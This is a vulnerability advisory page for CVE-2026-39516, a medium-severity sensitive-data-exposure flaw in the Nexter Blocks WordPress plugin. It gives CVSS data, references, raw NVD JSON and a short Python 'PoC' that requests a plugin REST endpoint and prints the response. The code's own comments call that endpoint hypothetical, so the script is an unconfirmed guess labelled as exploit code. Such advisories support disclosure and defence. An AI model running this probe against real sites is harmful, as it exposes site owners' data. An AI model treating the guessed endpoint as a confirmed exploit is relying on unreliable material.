CVE-2026-39516

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in POSIMYTH Nexter Blocks the-plus-addons-for-block-editor allows Retrieve Embedded Sensitive Data.This issue affects Nexter Blocks: from n/a through <= 4.7.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Nexter Blocks <= 4.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-39516: Sensitive Data Exposure in Nexter Blocks
# Target: WordPress site with Nexter Blocks <= 4.7.0

def check_vulnerability(target_url):
    # Hypothetical endpoint based on plugin structure
    # Actual endpoint may vary based on specific plugin version and configuration
    endpoint = "/wp-json/nexter-blocks/v1/get_config_data"
    
    try:
        response = requests.get(target_url + endpoint, timeout=10)
        if response.status_code == 200:
            print("[+] Potential Vulnerability Detected!")
            print("[+] Response Content:")
            print(response.text)
        else:
            print(f"[-] Endpoint returned status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    url = "http://example.com" # Replace with actual target
    check_vulnerability(url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39516
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39516
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39516/
[4] VulDB https://vuldb.com/cve/CVE-2026-39516
[5] https://patchstack.com/database/Wordpress/Plugin/the-plus-addons-for-block-editor/vulnerability/wordpress-nexter-blocks-plugin-4-7-0-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39516", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:25.353", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in POSIMYTH Nexter Blocks the-plus-addons-for-block-editor allows Retrieve Embedded Sensitive Data.This issue affects Nexter Blocks: from n/a through <= 4.7.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/the-plus-addons-for-block-editor/vulnerability/wordpress-nexter-blocks-plugin-4-7-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}